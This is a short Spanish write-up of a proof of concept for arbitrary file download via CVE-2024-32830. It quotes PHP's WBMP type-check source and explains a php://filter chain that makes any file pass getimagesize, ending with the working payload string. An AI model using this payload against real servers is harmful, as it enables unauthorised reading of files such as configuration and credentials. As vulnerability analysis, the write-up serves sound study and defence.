
Código PoC para descargar archivos con CVE-2024-32830
Código PoC para descargar archivos con CVE-2024-32830
getimagesizePara omitir la restricción de getimagesize, podemos crear una imagen simple image/vnd.wap.wbmp para PHP.
La comprobación del tipo de archivo es muy sencilla:
// https://github.com/php/php-src/blob/0029d2b08bbd3cb3aa293d9c8d55bf31faa9e203/ext/standard/image.c#L917
static int php_get_wbmp(php_stream *stream, struct gfxinfo **result, int check)
{
int i, width = 0, height = 0;
if (php_stream_rewind(stream)) {
return 0;
}
/* get type */
if (php_stream_getc(stream) != 0) {
return 0;
}
/* skip header */
do {
i = php_stream_getc(stream);
if (i < 0) {
return 0;
}
} while (i & 0x80);
/* get width */
do {
i = php_stream_getc(stream);
if (i < 0) {
return 0;
}
width = (width << 7) | (i & 0x7f);
/* maximum valid width for wbmp (although 127 may be a more accurate one) */
if (width > 2048) {
return 0;
}
} while (i & 0x80);
/* get height */
do {
i = php_stream_getc(stream);
if (i < 0) {
return 0;
}
height = (height << 7) | (i & 0x7f);
/* maximum valid height for wbmp (although 127 may be a more accurate one) */
if (height > 2048) {
return 0;
}
} while (i & 0x80);
if (!height || !width) {
return 0;
}
if (!check) {
(*result)->width = width;
(*result)->height = height;
}
return IMAGE_FILETYPE_WBMP;
}
La forma más sencilla de construir una imagen válida sería con dos bytes NUL, seguidos de dos bytes < 0x80 para el ancho y la altura.
Es posible hacer esto para cualquier archivo usando php://filter.
La primera capa necesitaría aplicar una codificación base64 para asegurar que todos los datos sean ASCII, cumpliendo así la restricción < 0x80.
El segundo filtro necesitaría añadir los dos primeros bytes NUL. Esto es posible forzando una conversión de UTF-16BE a UTF-32BE. Esto hará que iconv interprete cada fragmento de dos bytes como un carácter UTF-16BE válido y luego anteponga dos bytes NUL para convertirlo en UTF-32BE. El filtro real a usar es: convert.iconv.utf-16be.utf-32be.
Nuestro payload final es php://filter/convert.base64-encode/convert.iconv.utf-16be.utf-32be/resource=<file here>.